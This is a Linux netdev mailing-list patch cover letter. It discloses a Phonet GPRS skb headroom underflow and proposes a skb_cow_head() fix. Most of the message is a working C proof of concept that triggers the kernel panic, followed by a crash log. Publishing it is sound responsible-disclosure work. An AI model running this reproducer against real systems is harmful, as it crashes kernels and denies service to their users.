From: Ren Wei <weir@nebusec.ai>
To: netdev@vger.kernel.org
Cc: courmisch@gmail.com, davem@davemloft.net, edumazet@kernel.org,
kuba@kernel.org, pabeni@redhat.com, horms@kernel.org,
remi.denis-courmont@nokia.com, vega@nebusec.ai,
rakukuip@gmail.com, weir@nebusec.ai
Subject: [PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX
Date: Mon, 12 Oct 2026 08:48:50 +0800 [thread overview]
Message-ID: <cover.1791616268.git.rakukuip@gmail.com> (raw)
From: Luxiao Xu <rakukuip@gmail.com>
Hi Linux kernel maintainers,
We found and validated an skb headroom underflow bug in net/phonet/pep.c.
The bug can be triggered when transmitting packets over an aligned
Phonet GPRS pipe, leading to skb_under_panic and a kernel crash.
We have tested the fix, and it does not affect normal functionality.
This bug is tracked at: https://bugtracker.nebusec.ai/f/1935
We will provide detailed information about the bug in this email,
along with a PoC to trigger it.
=== details below ===
Bug details:
gprs_xmit() forwards the incoming L3 skb directly to pep_write().
When a server-side pipe has negotiated PN_PIPE_SB_ALIGNED_DATA,
pep_write() skips the wrapper skb allocation and calls pipe_skb_send()
on the original skb.
pipe_skb_send() prepends the pipe header with skb_push(), and pn_send()
prepends the Phonet header with skb_push() as well. However, the GPRS
netdev advertises hard_header_len = 0 and does not set needed_headroom.
If an skb with insufficient headroom (such as one redirected from a veth
interface) is transmitted on an aligned GPRS pipe, skb_push() underflows
the skb headroom and triggers a kernel BUG via skb_under_panic().
Ensure sufficient headroom in pep_write() using skb_cow_head() before
sending the skb on an aligned pipe. If reallocation fails, drop the skb
and return -ENOMEM.
Reproducer:
The reproducer sets up an AF_PHONET address, creates a listening PEP
socket, negotiates PN_PIPE_SB_ALIGNED_DATA on the accepted pipe, enables
GPRS encapsulation (creating gprs0), and uses tc mirred redirect on a
veth pair to forward raw packets to gprs0 with minimal headroom.
We run the PoC in an x86 QEMU environment.
=== BEGIN poc.c ===
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/phonet.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_PHONET
#define AF_PHONET 35
#endif
#define PNS_PIPE_ENABLED_IND 0x64
#define PNS_PEP_CONNECT_REQ 0x40
#define PN_PIPE_SB_ALIGNED_DATA 6
#define PN_PIPE_ENABLE 1
#define PHONET_ADDR 0x10
#define PIPE_HANDLE 0x01
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
static void die_errno(const char *msg, int err)
{
errno = -err;
perror(msg);
exit(EXIT_FAILURE);
}
static int run_cmd(const char *cmd)
{
int ret;
fprintf(stderr, "[*] %s\n", cmd);
ret = system(cmd);
if (ret != 0)
fprintf(stderr, "[!] command failed: rc=%d\n", ret);
return ret;
}
static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
const void *data, size_t alen)
{
size_t len = RTA_LENGTH(alen);
struct rtattr *rta;
if (NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
fprintf(stderr, "netlink attribute overflow\n");
exit(EXIT_FAILURE);
}
rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = len;
if (alen)
memcpy(RTA_DATA(rta), data, alen);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
}
static void rtnl_do_phonet_addr(int ifindex, uint8_t addr, bool add)
{
struct {
struct nlmsghdr nlh;
struct ifaddrmsg ifa;
char attrbuf[64];
} req;
char buf[4096];
struct sockaddr_nl nl = {
.nl_family = AF_NETLINK,
};
struct iovec iov;
struct msghdr msg;
int fd;
ssize_t n;
struct nlmsghdr *nh;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die("socket(AF_NETLINK)");
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifa));
req.nlh.nlmsg_type = add ? RTM_NEWADDR : RTM_DELADDR;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
if (add)
req.nlh.nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL;
req.ifa.ifa_family = AF_PHONET;
req.ifa.ifa_prefixlen = 0;
req.ifa.ifa_scope = RT_SCOPE_LINK;
req.ifa.ifa_index = ifindex;
addattr_l(&req.nlh, sizeof(req), IFA_LOCAL, &addr, sizeof(addr));
iov.iov_base = &req;
iov.iov_len = req.nlh.nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &nl;
msg.msg_namelen = sizeof(nl);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(fd, &msg, 0) < 0)
die("sendmsg(RTM_NEWADDR/DELADDR)");
n = recv(fd, buf, sizeof(buf), 0);
if (n < 0)
die("recv(netlink ack)");
for (nh = (struct nlmsghdr *)buf; NLMSG_OK(nh, (unsigned int)n);
nh = NLMSG_NEXT(nh, n)) {
if (nh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nh);
if (err->error == 0) {
close(fd);
return;
}
if (add && err->error == -EEXIST) {
close(fd);
return;
}
die_errno("phonet address netlink ack", err->error);
}
}
fprintf(stderr, "unexpected netlink response\n");
close(fd);
exit(EXIT_FAILURE);
}
static void bind_phonet_addr(struct sockaddr_pn *spn, uint8_t addr)
{
memset(spn, 0, sizeof(*spn));
spn->spn_family = AF_PHONET;
pn_sockaddr_set_addr(spn, addr);
}
static void xbind(int fd, const struct sockaddr_pn *spn)
{
if (bind(fd, (const struct sockaddr *)spn, sizeof(*spn)) < 0)
die("bind(AF_PHONET)");
}
static struct sockaddr_pn xgetsockname_pn(int fd)
{
struct sockaddr_pn spn;
socklen_t sl = sizeof(spn);
memset(&spn, 0, sizeof(spn));
if (getsockname(fd, (struct sockaddr *)&spn, &sl) < 0)
die("getsockname(AF_PHONET)");
return spn;
}
static int setup_aligned_gprs(char *gprs_ifname)
{
static const uint8_t connect_req[64] = {
PN_PIPE_SB_ALIGNED_DATA,
PNS_PEP_CONNECT_REQ,
PIPE_HANDLE,
PN_PIPE_ENABLE,
0x00, 0x00, 0x00, 0x01,
};
static const uint8_t enabled_ind[] = {
0x00,
PNS_PIPE_ENABLED_IND,
PIPE_HANDLE,
0x00,
};
struct sockaddr_pn bind_addr;
struct sockaddr_pn listener_addr;
struct sockaddr_pn peer_addr;
int listener_fd;
int peer_fd;
int conn_fd;
int encap = PNPIPE_ENCAP_IP;
int ifindex = 0;
socklen_t optlen = sizeof(ifindex);
rtnl_do_phonet_addr(if_nametoindex("lo"), PHONET_ADDR, true);
listener_fd = socket(AF_PHONET, SOCK_SEQPACKET, PN_PROTO_PIPE);
if (listener_fd < 0)
die("socket(listener)");
bind_phonet_addr(&bind_addr, PHONET_ADDR);
xbind(listener_fd, &bind_addr);
listener_addr = xgetsockname_pn(listener_fd);
fprintf(stderr, "[*] listener object=0x%04x\n",
pn_sockaddr_get_object(&listener_addr));
if (listen(listener_fd, 1) < 0)
die("listen(AF_PHONET)");
peer_fd = socket(AF_PHONET, SOCK_DGRAM, PN_PROTO_PHONET);
if (peer_fd < 0)
die("socket(peer)");
xbind(peer_fd, &bind_addr);
peer_addr = xgetsockname_pn(peer_fd);
fprintf(stderr, "[*] peer object=0x%04x\n",
pn_sockaddr_get_object(&peer_addr));
if (sendto(peer_fd, connect_req, sizeof(connect_req), 0,
(struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0)
die("sendto(connect_req)");
conn_fd = accept(listener_fd, NULL, NULL);
if (conn_fd < 0)
die("accept()");
fprintf(stderr, "[*] accepted aligned pipe\n");
if (sendto(peer_fd, enabled_ind, sizeof(enabled_ind), 0,
(struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0)
die("sendto(enabled_ind)");
if (setsockopt(conn_fd, SOL_PNPIPE, PNPIPE_ENCAP, &encap,
sizeof(encap)) < 0)
die("setsockopt(PNPIPE_ENCAP)");
if (getsockopt(conn_fd, SOL_PNPIPE, PNPIPE_IFINDEX,
&ifindex, &optlen) < 0)
die("getsockopt(PNPIPE_IFINDEX)");
if (ifindex <= 0)
die("invalid gprs ifindex");
if (!if_indextoname(ifindex, gprs_ifname))
die("if_indextoname(gprs)");
fprintf(stderr, "[*] gprs ifname=%s ifindex=%d\n", gprs_ifname, ifindex);
close(listener_fd);
close(peer_fd);
return conn_fd;
}
static void set_if_up(const char *ifname)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("SIOCGIFFLAGS");
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("SIOCSIFFLAGS");
close(fd);
}
static void setup_redirect(const char *src_ifname, const char *dst_ifname)
{
char cmd[512];
run_cmd("ip link del pocv0 >/dev/null 2>&1 || true");
snprintf(cmd, sizeof(cmd), "ip link add %s type veth peer name pocv1",
src_ifname);
if (run_cmd(cmd) != 0)
exit(EXIT_FAILURE);
snprintf(cmd, sizeof(cmd), "ip link set %s up", src_ifname);
if (run_cmd(cmd) != 0)
exit(EXIT_FAILURE);
if (run_cmd("ip link set pocv1 up") != 0)
exit(EXIT_FAILURE);
snprintf(cmd, sizeof(cmd), "tc qdisc add dev %s clsact", src_ifname);
if (run_cmd(cmd) != 0)
exit(EXIT_FAILURE);
snprintf(cmd, sizeof(cmd),
"tc filter add dev %s egress pref 1 matchall "
"action mirred egress redirect dev %s",
src_ifname, dst_ifname);
if (run_cmd(cmd) != 0)
exit(EXIT_FAILURE);
}
static void trigger_redirect_raw(const char *src_ifname)
{
uint8_t frame[14 + 20 + 4];
uint8_t *eth = frame;
uint8_t *ip = frame + 14;
struct sockaddr_ll sll;
int fd;
int ifindex;
int i;
memset(frame, 0, sizeof(frame));
memset(eth, 0x41, 6);
memset(eth + 6, 0x42, 6);
eth[12] = 0x08;
eth[13] = 0x00;
ip[0] = 0x45;
ip[1] = 0x00;
ip[2] = 0x00;
ip[3] = sizeof(ip);
ip[4] = 0x00;
ip[5] = 0x01;
ip[6] = 0x00;
ip[7] = 0x00;
ip[8] = 64;
ip[9] = 17;
ip[12] = 1;
ip[13] = 1;
ip[14] = 1;
ip[15] = 1;
ip[16] = 2;
ip[17] = 2;
ip[18] = 2;
ip[19] = 2;
ifindex = if_nametoindex(src_ifname);
if (ifindex == 0)
die("if_nametoindex(src)");
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
if (fd < 0)
die("socket(AF_PACKET)");
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_IP);
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memset(sll.sll_addr, 0x41, ETH_ALEN);
for (i = 0; i < 128; i++) {
ssize_t ret;
ret = sendto(fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll));
if (ret < 0)
die("sendto(AF_PACKET)");
usleep(1000);
}
close(fd);
}
int main(int argc, char **argv)
{
const char *src_ifname = "pocv0";
char gprs_ifname[IF_NAMESIZE];
int conn_fd;
fprintf(stderr,
"[*] setup aligned phonet pipe and gprs encapsulation\n");
conn_fd = setup_aligned_gprs(gprs_ifname);
set_if_up(gprs_ifname);
setup_redirect(src_ifname, gprs_ifname);
if (argc > 1 && strcmp(argv[1], "--setup-only") == 0) {
fprintf(stderr, "[*] setup complete; not triggering\n");
pause();
return 0;
}
fprintf(stderr, "[*] trigger redirected raw packet xmit\n");
trigger_redirect_raw(src_ifname);
close(conn_fd);
return 0;
}
=== END poc.c ===
=== BEGIN poc.sh ===
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
make
exec ./poc
=== END poc.sh ===
=== BEGIN crash log ===
[ 292.244773][T10222] skbuff: skb_under_panic: text:ffffffff8a581043 len:42 put:4 head:ffff888047ab96c0 data:ffff888047ab96be tail:0x28 end:0x180 dev:gprs0
[ 292.247407][T10222] kernel BUG at net/core/skbuff.c:209!
[ 292.248168][T10222] Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
[ 292.248769][T10222] CPU: 0 UID: 0 PID: 10222 Comm: poc_phonet_gprs Not tainted 6.12.74 #3
[ 292.250121][T10222] RIP: 0010:skb_panic+0x15c/0x1d0
[ 292.256868][T10222] Call Trace:
[ 292.257355][T10222] <TASK>
[ 292.258154][T10222] skb_push+0xcf/0xf0
[ 292.258479][T10222] pipe_skb_send+0x143/0x4b0
[ 292.259258][T10222] pep_write+0x3f4/0x4f0
[ 292.260017][T10222] gprs_xmit+0x18d/0x520
[ 292.260360][T10222] dev_hard_start_xmit+0x147/0x7a0
[ 292.264712][T10222] __dev_queue_xmit+0x22bc/0x4350
[ 292.270216][T10222] tcf_dev_queue_xmit+0x45/0x60
[ 292.270588][T10222] tcf_mirred_to_dev+0xc87/0xff0
[ 292.275389][T10222] tcf_action_exec+0x1c2/0xa20
[ 292.276519][T10222] tcf_classify+0x7f1/0x1390
[ 292.277198][T10222] tc_run+0x444/0x760
[ 292.279634][T10222] __dev_queue_xmit+0xb30/0x4350
[ 292.285208][T10222] packet_xmit+0x248/0x360
[ 292.285560][T10222] packet_sendmsg+0x2704/0x55c0
[ 292.289562][T10222] __sys_sendto+0x47e/0x4d0
[ 292.291111][T10222] __x64_sys_sendto+0xe5/0x1c0
[ 292.292624][T10222] do_syscall_64+0xc7/0x250
[ 292.293394][T10222] RIP: 0033:0x7ffa33779687
[ 292.298780][T10222] ---[ end trace 0000000000000000 ]---
[ 292.305715][T10222] Kernel panic - not syncing: Fatal exception in interrupt
[ 292.306639][T10222] Rebooting in 86400 seconds..
=== END crash log ===
Best regards,
Luxiao Xu
Luxiao Xu (1):
net: phonet: ensure headroom for aligned GPRS TX
net/phonet/pep.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
--
2.43.0
next reply other threads:[~2026-10-12 0:48 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-12 0:48 Ren Wei [this message]
2026-10-12 0:48 ` [PATCH net 1/1] net: phonet: ensure headroom for aligned GPRS TX Ren Wei
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1791616268.git.rakukuip@gmail.com \
--to=weir@nebusec.ai \
--cc=courmisch@gmail.com \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=kuba@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=rakukuip@gmail.com \
--cc=remi.denis-courmont@nokia.com \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.